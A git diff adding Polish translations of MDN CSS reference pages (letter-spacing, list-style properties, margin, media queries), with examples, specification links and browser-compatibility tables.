+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Od wersji Firefox 1.0 wzwyż, wsparcie dla <code>-moz-initial</code> zostało dodane do każdej wersji, zakończono obsługę{{cssxref("quotes")}} od wersji Firefox 3.5 (Gecko 1.9.1). Wsparie dla niestandardowych prefiksów {{cssxref("-moz-border-top-colors","-moz-border-*-colors")}} w wersji Firefox 3.6 (Gecko 1.9.2). Wsparcie dla prefiksu <code>-moz-initial</code> zostało usunięte w <a href="/en-US/docs/Site_Compatibility_for_Firefox_24">Firefox 24</a> na korzyść słowa kluczowego <code>initial</code>.</p>
+
+<h2 id="See_also" name="See_also">Zobacz również</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/initial_value">initial value</a>, {{cssxref("inherit")}}, {{cssxref("unset")}}, {{cssxref("revert")}}</li>
+</ul>
diff --git a/files/pl/web/css/inne_zasoby/index.html b/files/pl/web/css/inne_zasoby/index.html
new file mode 100644
index 0000000000..8db0f7556b
--- /dev/null
+++ b/files/pl/web/css/inne_zasoby/index.html
@@ -0,0 +1,28 @@
+---
+title: Inne zasoby
+slug: Web/CSS/Inne_zasoby
+tags:
+ - CSS
+ - Wszystkie_kategorie
+translation_of: Web/CSS
+---
+<p>
+</p>
+<h3 id="Dokumenty_W3C" name="Dokumenty_W3C"> Dokumenty W3C </h3>
+<ul><li> <a class="external" href="http://www.w3.org/Style/CSS/">CSS Activity Page</a>
+</li><li> <a class="external" href="http://www.w3.org/TR/REC-CSS2/">CSS2 Specification</a>
+</li><li> <a class="external" href="http://www.w3.org/TR/CSS21/">CSS 2.1 Specification</a>
+</li><li> <a class="external" href="http://www.w3.org/Stylesheets/Core/">W3C Core Styles</a>
+</li><li> <a class="external" href="http://www.w3.org/Style/CSS/Test/current/">CSS1 Test Suite</a>
+</li><li> <a class="external" href="http://www.w3.org/Style/CSS/Test/CSS2.1/current/">CSS2.1 Test Suite</a>
+</li></ul>
+<h3 id="Inne_zasoby" name="Inne_zasoby"> Inne zasoby </h3>
+<ul><li> <a class="external" href="http://osiolki.net/tabelki/">Zmiana tabel na CSS</a>
+</li><li> <a class="external" href="http://www.w3schools.com/css/">W3 Schools CSS tutorial pages</a>
+</li><li> <a class="external" href="http://gallery.theopalgroup.com/selectoracle/">SelectORacle</a>
+</li><li> <a class="external" href="http://www.westciv.com/style_master/house/">House of Style</a>
+</li><li> <a class="external" href="http://www.mako4css.com/">MaKo4CSS.com</a>
+</li><li> <a class="external" href="http://archivist.incutio.com/css-discuss/">css-discuss archives</a>
+</li><li> <a class="external" href="http://www.meyerweb.com/eric/css/edge/">css/edge</a>
+</li></ul>
+{{ languages( { "en": "en/CSS/Other_Resources", "fr": "fr/CSS/Autres_ressources", "ja": "ja/CSS/Other_Resources" } ) }}
diff --git a/files/pl/web/css/letter-spacing/index.html b/files/pl/web/css/letter-spacing/index.html
new file mode 100644
index 0000000000..423f1e2c1d
--- /dev/null
+++ b/files/pl/web/css/letter-spacing/index.html
@@ -0,0 +1,74 @@
+---
+title: letter-spacing
+slug: Web/CSS/letter-spacing
+tags:
+ - CSS
+translation_of: Web/CSS/letter-spacing
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Własność CSS <code>letter-spacing</code> określa odstępy między literami w tekstowej zawartości elementu. Można zdefiniować od jednej do trzech wartości, by wskazać minimalny, maksymalny oraz optymalny odstęp między literami.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">letter-spacing: [ normal | &lt;length&gt; ] {1,3}
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>normal </dt>
+ <dd> </dd>
+ <dt>{{cssxref("&lt;length&gt;")}}  </dt>
+ <dd> </dd>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre class="eval">p {
+ letter-spacing: .3em .6em .4em;
+}
+</pre>
+
+<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/text.html#propdef-letter-spacing">W3C Cascading Style Sheets, level 2 revision 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#letter-spacing">W3C Cascading Style Sheets, level 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-text/#letter-spacing">W3C Cascading Style Sheets, level 3</a></li>
+</ul>
+
+<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Przeglądarka</th>
+ <th>Najniższa wersja</th>
+ </tr>
+ <tr>
+ <td>Internet Explorer</td>
+ <td>?</td>
+ </tr>
+ <tr>
+ <td>Firefox</td>
+ <td>?</td>
+ </tr>
+ <tr>
+ <td>Netscape</td>
+ <td>?</td>
+ </tr>
+ <tr>
+ <td>Opera</td>
+ <td>?</td>
+ </tr>
+ <tr>
+ <td>Safari</td>
+ <td>?</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/pl/web/css/list-style-image/index.html b/files/pl/web/css/list-style-image/index.html
new file mode 100644
index 0000000000..91d05bc8bf
--- /dev/null
+++ b/files/pl/web/css/list-style-image/index.html
@@ -0,0 +1,70 @@
+---
+title: list-style-image
+slug: Web/CSS/list-style-image
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/list-style-image
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p><code>list-style-image</code> określa plik graficzny, który ma zostać użyty jako znacznik <a href="pl/HTML/Element/li">elementu listy</a>.</p>
+
+<ul>
+ <li>{{ Xref_cssinitial() }}: {{ Cssxref("none") }}</li>
+ <li>Stosowana do: elementów z 'display: list-item'</li>
+ <li>{{ Xref_cssinherited() }}: tak</li>
+ <li>Procenty: niedostępne</li>
+ <li>Media: {{ Xref_cssvisual() }}</li>
+ <li>{{ Xref_csscomputed() }}: bezwzględny URI lub <code>none</code></li>
+</ul>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">list-style-image: &lt;uri&gt; | none | inherit
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt><code>uri</code></dt>
+ <dd>Adres pliku graficznego.</dd>
+</dl>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+ &lt;li&gt;Item 1&lt;/li&gt;
+ &lt;li&gt;Item 2&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">ul {
+ list-style-image: url("https://mdn.mozillademos.org/files/11981/starsolid.gif")
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample('Przykłady')}}</p>
+
+<h3 id="Dokumentacja" name="Dokumentacja">Dokumentacja</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#list-style-image">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/generate.html#propdef-list-style-image">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2002/WD-css3-lists-20021107/#list-content0">CSS 3</a></li>
+</ul>
+
+<h3 id="Kompatybilno.C5.9B.C4.87_z_przegl.C4.85darkami" name="Kompatybilno.C5.9B.C4.87_z_przegl.C4.85darkami">Kompatybilność z przeglądarkami</h3>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<p>{{ Cssxref("list-style") }}, {{ Cssxref("list-style-type") }}, {{ Cssxref("list-style-position") }}</p>
diff --git a/files/pl/web/css/list-style-position/index.html b/files/pl/web/css/list-style-position/index.html
new file mode 100644
index 0000000000..62b79481be
--- /dev/null
+++ b/files/pl/web/css/list-style-position/index.html
@@ -0,0 +1,99 @@
+---
+title: list-style-position
+slug: Web/CSS/list-style-position
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/list-style-position
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p><code>list-style-position</code> określa pozycję znacznika listy w <a href="pl/HTML/Element/li">elemencie listy</a>.</p>
+
+<ul>
+ <li>{{ Xref_cssinitial() }}: {{ Cssxref("outside") }}</li>
+ <li>Stosowana do: elementów z 'display: list-item'</li>
+ <li>{{ Xref_cssinherited() }}: tak</li>
+ <li>Procenty: niedostępne</li>
+ <li>Media: {{ Xref_cssvisual() }}</li>
+ <li>{{ Xref_csscomputed() }}: jako określone</li>
+</ul>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">list-style-position: inside | outside | inherit
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt><code>outside</code></dt>
+ <dd>Znacznik jest umieszczany poza <a href="pl/HTML/Element/li">elementem listy</a>.</dd>
+ <dt><code>inside</code></dt>
+ <dd>Znacznik jest umieszczany wewnątrz elementu listy. Jest on pierwszym blokiem inline i zawartość elementu go opływa.</dd>
+</dl>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul class="one"&gt; List 1
+ &lt;li&gt;List Item 1-1&lt;/li&gt;
+ &lt;li&gt;List Item 1-2&lt;/li&gt;
+ &lt;li&gt;List Item 1-3&lt;/li&gt;
+ &lt;li&gt;List Item 1-4&lt;/li&gt;
+&lt;/ul&gt;
+&lt;ul class="two"&gt; List 2
+ &lt;li&gt;List Item 2-1&lt;/li&gt;
+ &lt;li&gt;List Item 2-2&lt;/li&gt;
+ &lt;li&gt;List Item 2-3&lt;/li&gt;
+ &lt;li&gt;List Item 2-4&lt;/li&gt;
+&lt;/ul&gt;
+&lt;ul class="three"&gt; List 3
+ &lt;li&gt;List Item 3-1&lt;/li&gt;
+ &lt;li&gt;List Item 3-2&lt;/li&gt;
+ &lt;li&gt;List Item 3-3&lt;/li&gt;
+ &lt;li&gt;List Item 3-4&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css;">.one {
+ list-style:square inside;
+}
+
+.two {
+ list-style-position: outside;
+ list-style-type: circle;
+}
+
+.three {
+ list-style-image: url("https://mdn.mozillademos.org/files/11979/starsolid.gif");
+ list-style-position: inherit;
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Przykłady","200","420")}}</p>
+
+<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#list-style-position">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/generate.html#propdef-list-style-position">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2002/WD-css3-lists-20021107/#list-style-position">CSS 3</a></li>
+</ul>
+
+<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<p>{{ Cssxref("list-style") }}, {{ Cssxref("list-style-type") }}, {{ Cssxref("list-style-image") }}</p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/CSS/list-style-position", "es": "es/CSS/list-style-position", "fr": "fr/CSS/list-style-position" } ) }}</p>
diff --git a/files/pl/web/css/list-style-type/index.html b/files/pl/web/css/list-style-type/index.html
new file mode 100644
index 0000000000..34e55005fe
--- /dev/null
+++ b/files/pl/web/css/list-style-type/index.html
@@ -0,0 +1,108 @@
+---
+title: list-style-type
+slug: Web/CSS/list-style-type
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/list-style-type
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p><code>list-style-type</code> określa wygląd znacznika <a href="/pl/HTML/Element/li" title="pl/HTML/Element/li">elementu listy</a>.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval"> list-style-type: &lt;std-list-style-name&gt; | {{ Cssxref("none") }} | {{ Cssxref("inherit") }} ;
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>&lt;std-list-style-name&gt;</dt>
+ <dd>Standardowa nazwa stylu listy <code>disc, circle, square, decimal, decimal-leading-zero, lower-roman, upper-roman, lower-greek, lower-latin, upper-latin, armenian, georgian, lower-alpha, upper-alpha</code></dd>
+ <dt><code>disc</code></dt>
+ <dd>Wypełniony okrąg.</dd>
+ <dt><code>circle</code></dt>
+ <dd>Pusty okrąg.</dd>
+ <dt><code>square</code></dt>
+ <dd>Wypełniony kwadrat.</dd>
+ <dt><code>decimal</code></dt>
+ <dd>Liczby dziesiętne, zaczynając od 1.</dd>
+ <dt><code>decimal-leading-zero</code></dt>
+ <dd>Liczby dziesiętne poprzedzone początkowym zerem (np. 01, 02, 03, ..., 98, 99).</dd>
+ <dt><code>lower-roman</code></dt>
+ <dd>Małe cyfry rzymskie (i, ii, iii, iv, v itp.).</dd>
+ <dt><code>upper-roman</code></dt>
+ <dd>Duże cyfry rzymskie (I, II, III, IV, V itp.).</dd>
+ <dt><code>lower-greek</code></dt>
+ <dd>Małe litery z klasycznej greki: alpha, beta, gamma, ... (α, β, γ, ...).</dd>
+ <dt><code>lower-latin</code></dt>
+ <dd>Małe litery ascii (a, b, c, ... z).</dd>
+ <dt><code>upper-latin</code></dt>
+ <dd>Duże litery ascii (A, B, C, ... Z).</dd>
+ <dt><code>armenian</code></dt>
+ <dd>Tradycyjna numeracja ormiańska (Armenian) (ayb/ayp, ben/pen, gim/keem, ...).</dd>
+ <dt><code>georgian</code></dt>
+ <dd>Tradycyjna numeracja gruzińska (Georgian) (an, ban, gan, ..., he, tan, in, in-an, ...).</dd>
+ <dt><code>lower-alpha</code></dt>
+ <dd>Tak samo jak <code>lower-latin</code>.</dd>
+ <dt><code>upper-alpha</code></dt>
+ <dd>Tak samo jak <code>upper-latin</code>.</dd>
+ <dt><code>none</code></dt>
+ <dd>Bez wypunktowania.</dd>
+</dl>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">ol.normal {
+ list-style-type: upper-alpha;
+}
+
+/* or use the shortcut "list-style": */
+ol.shortcut {
+ list-style: upper-alpha;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ol class="normal"&gt;List 1
+ &lt;li&gt;Hello&lt;/li&gt;
+ &lt;li&gt;World&lt;/li&gt;
+ &lt;li&gt;What's up?&lt;/li&gt;
+&lt;/ol&gt;
+
+&lt;ol class="shortcut"&gt;List 2
+ &lt;li&gt;Looks&lt;/li&gt;
+ &lt;li&gt;Like&lt;/li&gt;
+ &lt;li&gt;The&lt;/li&gt;
+ &lt;li&gt;Same&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Przykłady","200","300")}}</p>
+
+<h2 id="Uwagi" name="Uwagi">Uwagi</h2>
+
+<p>Ta specyfikacja nie definiuje, w jaki sposób systemy alfabetyczne zachowują się na końcu alfabetu. Na przykład, po 26 elementach listy numerowanie typu lower-latin jest niezdefiniowane (i będzie kontynuowane jako AA, AB, AC,...). Dlatego też dla długich list jest zalecane, aby autorzy określili prawidłowe numery.</p>
+
+<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#list-style-type">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/generate.html#lists">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2002/WD-css3-lists-20021107/#list-content">CSS 3</a></li>
+</ul>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<p>{{ Cssxref("list-style") }}, {{ Cssxref("list-style-image") }}, {{ Cssxref("list-style-position") }}</p>
diff --git a/files/pl/web/css/margin/index.html b/files/pl/web/css/margin/index.html
new file mode 100644
index 0000000000..b5710503ad
--- /dev/null
+++ b/files/pl/web/css/margin/index.html
@@ -0,0 +1,112 @@
+---
+title: margin
+slug: Web/CSS/Margin
+translation_of: Web/CSS/margin
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Summary" name="Summary">Podsumowanie</h2>
+
+<p>Własność <strong><code>margin</code></strong> określa marginesy elementu. Jest ona również sposobem na ustawienie wszystkich marginesów jednocześnie. Negatywne wartosci są dozwolone.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax" name="Syntax">Składnia</h2>
+
+<pre class="eval">margin: <a href="/pl/CSS/lenght" title="pl/CSS/lenght">&lt;length&gt;</a> {1,4} | <a href="/pl/css/percentage" title="pl/css/percentage">&lt;percentage&gt;</a> {1,4} | <a href="/pl/css/inherit" title="pl/css/inherit">inherit</a> | <a href="/pl/css/auto" title="pl/css/auto">auto</a>;
+</pre>
+
+<h3 id="Values" name="Values">Wartości</h3>
+
+<dl>
+ <dt>&lt;length&gt;</dt>
+ <dd>przyjmuje konkretną odległość.</dd>
+ <dt>&lt;percentage&gt;</dt>
+ <dd>procentowa wartość <strong>szerokości</strong> zawierającego bloku</dd>
+ <dt>auto</dt>
+ <dd>przeglądarka obliczy i wybierze margines dla określonego elementu</dd>
+</dl>
+
+<p>Jeśli podano:</p>
+
+<ul>
+ <li>jedną wartosć, zostaje ona przypisana dla wszystkich stro.</li>
+ <li>dwie wartości, pierwsza odnosi się do: góra i dół, a druga do: prawo i lewo.</li>
+ <li>trzy wartości, pierwsza odnosi się do góra, druga do: prawo i lewo, a trzecia do: dół.</li>
+ <li>cztery wartości, kolejno odnoszą się do: góra, prawo, dół, lewo;</li>
+</ul>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre> .content {
+ margin: 5%; /* wszystkie strony margines 5% */
+ }
+
+ .sidebox {
+ margin: 10px; /* wszystkie strony margines 10px */
+ }
+
+ .rightbox {
+ margin: 10px 20px; /* górny i dolny margines 10px */
+ } /* lewy i prawy margines 20px */
+
+
+ .leftbox { /* górny margines 10px */
+ margin: 10px 3% 20px; /* lewy i prawy margines 3% */
+ } /* dolny margines 20px */
+
+
+ .mainbox { /* górny margines 10px */
+ margin: 10px 3px 30px 5px; /* prawy margines 3px */
+ } /* dolny margines 30px */
+ /* lewy margines 5px */
+
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Box', '#margin', 'margin') }}</td>
+ <td>{{ Spec2('CSS3 Box') }}</td>
+ <td>No significant change</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'margin') }}</td>
+ <td>{{ Spec2('CSS3 Transitions') }}</td>
+ <td>Defines <code>margin</code> as animatable.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'box.html#margin-properties', 'margin') }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td>Removes its effect on inline elements.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS1', '#margin', 'margin') }}</td>
+ <td>{{ Spec2('CSS1') }}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("css.properties.margin")}}</p>
+
+<p> </p>
+
+<p> </p>
+
+<div id="compat-mobile"> </div>
diff --git a/files/pl/web/css/media_queries/index.html b/files/pl/web/css/media_queries/index.html
new file mode 100644
index 0000000000..a7a793852e
--- /dev/null
+++ b/files/pl/web/css/media_queries/index.html
@@ -0,0 +1,122 @@
+---
+title: Media queries
+slug: Web/CSS/Media_Queries
+tags:
+ - CSS
+ - Media Queries
+ - NeedsTranslation
+ - Overview
+ - Reference
+ - TopicStub
+translation_of: Web/CSS/Media_Queries
+---
+<p>{{CSSRef}}</p>
+
+<p><strong>Media Queries</strong> is a module of CSS that defines expressions allowing to tailor presentations to a specific range of output devices without changing the content itself.</p>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="At-rules">At-rules</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("@import")}}</li>
+ <li>{{cssxref("@media")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/Media_Queries/Using_media_queries">Using media queries</a></dt>
+ <dd>Presents what media queries are doing and explains the possible expressions.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/Media_Queries/Testing_media_queries">Testing media queries</a></dt>
+ <dd>Explains how to test a media query programmatically, from JavaScript.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Conditional')}}</td>
+ <td>{{Spec2('CSS3 Conditional')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS4 Media Queries')}}</td>
+ <td>{{Spec2('CSS4 Media Queries')}}</td>
+ <td>
+ <p><br>
+  </p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Media Queries')}}</td>
+ <td>{{Spec2('CSS3 Media Queries')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'media.html')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0</td>
+ <td>{{ CompatGeckoDesktop(1.7) }}</td>
+ <td>9.0</td>
+ <td>9.2</td>
+ <td>1.3</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0</td>
+ <td>{{ CompatGeckoMobile(1.7) }}</td>
+ <td>9.0</td>
+ <td>9.0</td>
+ <td>3.1</td>
+ </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/pl/web/css/media_queries/using_media_queries/index.html b/files/pl/web/css/media_queries/using_media_queries/index.html
new file mode 100644
index 0000000000..8944867c66
--- /dev/null
+++ b/files/pl/web/css/media_queries/using_media_queries/index.html
@@ -0,0 +1,643 @@
+---
+title: Using media queries
+slug: Web/CSS/Media_Queries/Using_media_queries
+translation_of: Web/CSS/Media_Queries/Using_media_queries
+---
+<p><span class="seoSummary">M<strong>edia query</strong> składa się z jej typu oraz przynajmniej jednego wyrażenia, zadaniem którego jest określenie zakresu działania kodu css, poprzez użycie takich wartości jak szerokość, wysokość czy kolor. Media queries zostały dodane w specyfikacji <a href="/en-US/docs/CSS/CSS3" title="/en-US/docs/CSS/CSS3">CSS3</a>, pozwalając na przygotowanie określonego stylu zawartości strony, w zależności od urządzenia docelowego dla kodu, bez potrzeby zmiany samej treści w każdym z przypadków. </span></p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<p>Każda Media query składa się z <a href="/pl/docs/CSS/@media">typu medium docelowego</a>, a także, zgodnie ze specyfikacją CSS3, zawiera jedno lub więcej wyrażeń logicznych (ang. media features), które zwracają wartość true lub false. Wynik query jest prawdziwy, jeżeli typ medium jest zgodny z aktualnym urządzaniem (np. gdy rozdzielczość ekranu jest zgodna z podanymi warunkami). Media query zostanie wykonana, tylko jeśli wszystkie jej wyrażenia <strong>będą prawdziwe.</strong> </p>
+
+<pre class="brush: html">&lt;!-- Media query użyta na elemencie link --&gt;
+&lt;link rel="stylesheet" media="(max-width: 800px)" href="example.css" /&gt;
+
+&lt;!-- Media query w środku arkusza stylów --&gt;
+&lt;style&gt;
+@media (max-width: 600px) {
+ .facet_sidebar {
+ display: none;
+ }
+}
+&lt;/style&gt;
+</pre>
+
+<p>Jeżeli warunki zostaną spełnione, wskazane arkusze stylów, lub zasady CSS w przypadku stylu osadzonego, zostaną załadowane, zgodnie z zasadą kaskadowości css. Należy zaznaczyć, że załączone style za pomocą znacznika <code>link</code> będą pobierane niezależnie od tego czy media query zostanie wykonana.</p>
+
+<p>Dopóki nie użyjesz operatorów <code>not</code> lub <code>optional</code>, typ medium nie jest wymagany i dla danej query nadany zostanie typ <code>all</code>.</p>
+
+<h3 id="Operatory_logiczne">Operatory logiczne</h3>
+
+<p>Możesz tworzyć zaawansowane media queries za pomocą operatorów logicznych - <code>not</code>, <code>and</code> oraz <code>only</code>. Operator <code>and</code> używany jest do łączenia wielu wyrażeń logicznych, w jedną media query. Nakładają one wymaganie, aby każda zeleżność była prawdziwa, wykonując przez to podany zestaw styli. Operator <code>not</code> używany jest do zanegowanie całej media query. Celem operatora <code>only</code> jest zaaplikowanie CSS'a tylko w przypadku, gdy wszystkie warunki są spełnione ( użyteczne gdy chcemy zapobiec użyciu znacznika media przez starsze przeglądarki. Jak już wspomnieliśmy, używając operatorów <code>only</code> oraz <code>not</code> musisz określić typ medium.</p>
+
+<p>Możesz również połączyć wiele media queries w listę, oddzielając kolejne wyrażenia media średnikiem. Jeżeli jakakolwiek query jest prawdziwa, całe wyrażenie zwróci true. Takie wyrażenie jest równoznaczne z logicznym operatorem <code>or</code></p>
+
+<h4 id="and">and</h4>
+
+<p>The <code>and</code> keyword is used for combining multiple media features together, as well as combining media features with media types. A basic media query, a single media feature with the implied <code>all</code> media type, could look like this:</p>
+
+<pre class="brush: css">@media (min-width: 700px) { ... }</pre>
+
+<p>If, however, you wanted this to apply only if the display is in landscape, you could use an <code>and</code> operator to chain the media features together.</p>
+
+<pre class="brush: css">@media (min-width: 700px) and (orientation: landscape) { ... }</pre>
+
+<p>Now the above media query will only return true if the viewport is 700px wide or wider and the display is in landscape. If, however, you only wanted this to apply if the display in question was of the media type TV, you could chain these features with a media type using an <code>and</code> operator.</p>
+
+<pre class="brush: css">@media tv and (min-width: 700px) and (orientation: landscape) { ... }</pre>
+
+<p>Now, the above media query will only apply if the media type is TV, the viewport is 700px wide or wider, and the display is in landscape.</p>
+
+<h4 id="comma-separated_lists">comma-separated lists</h4>
+
+<p>Comma-separated lists behave like the logical operator <code>or</code> when used in media queries. When using a comma-separated list of media queries, if any of the media queries returns true, the styles or style sheets get applied. Each media query in a comma-separated list is treated as an individual query, and any operator applied to one media query does not affect the others. This means the comma-separated media queries can target different media features, types, and states.</p>
+
+<p>For instance, if you wanted to apply a set of styles if the viewing device either had a minimum width of 700px or was a handheld in landscape, you could write the following:</p>
+
+<pre class="brush: css">@media (min-width: 700px), handheld and (orientation: landscape) { ... }</pre>
+
+<p>Above, if I were on a <code>screen</code> device with a viewport width of 800px, the media statement would return true because the first part, interpreted as <code>@media all and (min-width: 700px)</code> would apply to my device and therefore return true, despite the fact that my <code>screen</code> device would fail the <code>handheld</code> media type check in the second media query. Likewise, if I were on a <code>handheld</code> device held in landscape with a viewport width of 500px, while the first media query would fail due to the viewport width, the second media query would succeed and thus the media statement would return true.</p>
+
+<h4 id="not">not</h4>
+
+<p>The <code>not</code> keyword applies to the whole media query and returns true if the media query would otherwise return false (such as <code>monochrome</code> on a color display or a screen width of 600px with a <code>min-width: 700px</code> feature query). A <code>not</code> will only negate the media query it is applied to and not to every media query if present in a comma-separated list of media queries. The <code>not</code> keyword cannot be used to negate an individual feature query, only an entire media query. <span style="line-height: 1.572;">For example, the </span><code style="font-size: 14px;">not</code><span style="line-height: 1.572;"> is evaluated last in the following query:</span></p>
+
